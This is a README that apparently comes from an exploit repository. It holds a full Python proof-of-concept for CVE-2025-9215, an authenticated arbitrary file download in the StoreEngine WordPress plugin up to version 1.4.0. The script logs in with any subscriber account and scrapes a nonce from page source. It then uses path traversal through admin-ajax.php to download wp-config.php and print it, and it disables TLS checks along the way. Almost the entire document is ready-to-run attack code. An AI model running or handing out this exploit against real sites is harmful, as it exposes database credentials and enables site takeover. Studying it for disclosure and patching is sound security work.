README.md
Rendering markdown...
# Exploit Title: StoreEngine Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Download
# Date: 08/18/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://wordpress.org/plugins/storeengine/
# Version: <= 1.4.0
# CVE : CVE-2025-9215
# Prerequisites: CSV Import/Export addon must be enabled by administrator
import re
import json
import urllib3
import logging
import requests
import argparse
import urllib.parse
def wp_login(victim_url: str, username: str, password: str):
with requests.Session() as s:
headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
datas={
'log':username, 'pwd':password, 'wp-submit':'Log In',
'redirect_to':f"{victim_url}/wp-admin", 'testcookie':'1'
}
s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False)
return(s)
def main():
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Parse command line arguments
parser = argparse.ArgumentParser(description="StoreEngine Subscriber+ Arbitrary File Download via Path Traversal.")
parser.add_argument("victim_url", help="Target url or ip address.")
parser.add_argument("username", help="The username for the WordPress instance.")
parser.add_argument("password", help="The password for the WordPress instance.")
args = parser.parse_args()
# Log into WordPress and use this session for the requests.
print(f"Logging into: {args.victim_url}/wp-admin")
print("NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)")
wp_session = wp_login(args.victim_url,args.username,args.password)
##################################################################################################################################################
# Extract nonce from frontend scripts (accessible to ANY authenticated user)
##################################################################################################################################################
print("Extracting nonce from frontend scripts (accessible to any user)...")
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'}
# The nonce is exposed to ALL frontend users via frontend_scripts()
# We can get it from any page that loads the StoreEngine frontend scripts
r = wp_session.get(f"{args.victim_url}/", headers=headers, verify=False)
# Look for the nonce in the page source
nonce_match = re.search(r'"storeengine_nonce":"([^"]+)"', r.text)
if not nonce_match:
# Try alternative nonce patterns
nonce_match = re.search(r'storeengine_nonce["\']?\s*:\s*["\']([^"\']+)["\']', r.text)
if not nonce_match:
print("Could not find nonce in frontend. Trying admin page as fallback...")
# Fallback to admin page
r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=storeengine", headers=headers, verify=False)
nonce_match = re.search(r'"storeengine_nonce":"([^"]+)"', r.text)
if not nonce_match:
print("ERROR: Could not extract nonce. The exploit may not work.")
return
nonce = nonce_match.group(1)
print(f"storeengine_nonce: {nonce}")
print("NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!")
##################################################################################################################################################
# Note: CSV Import/Export addon must be enabled by admin before exploitation
##################################################################################################################################################
print("NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.")
print("This exploit demonstrates the vulnerability once the addon is already enabled.")
print("The addon activation requires 'manage_options' capability (admin only).")
##################################################################################################################################################
# Download wp-config.php via path traversal
##################################################################################################################################################
print("\nDownloading wp-config.php via path traversal...")
target_file = "../../../../wp-config.php"
# Download the WordPress configuration file
download_data = {
'action': 'storeengine_csv/file_download',
'filename': target_file,
'security': nonce
}
r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", data=download_data, verify=False)
print(r.text)
if __name__ == "__main__":
main()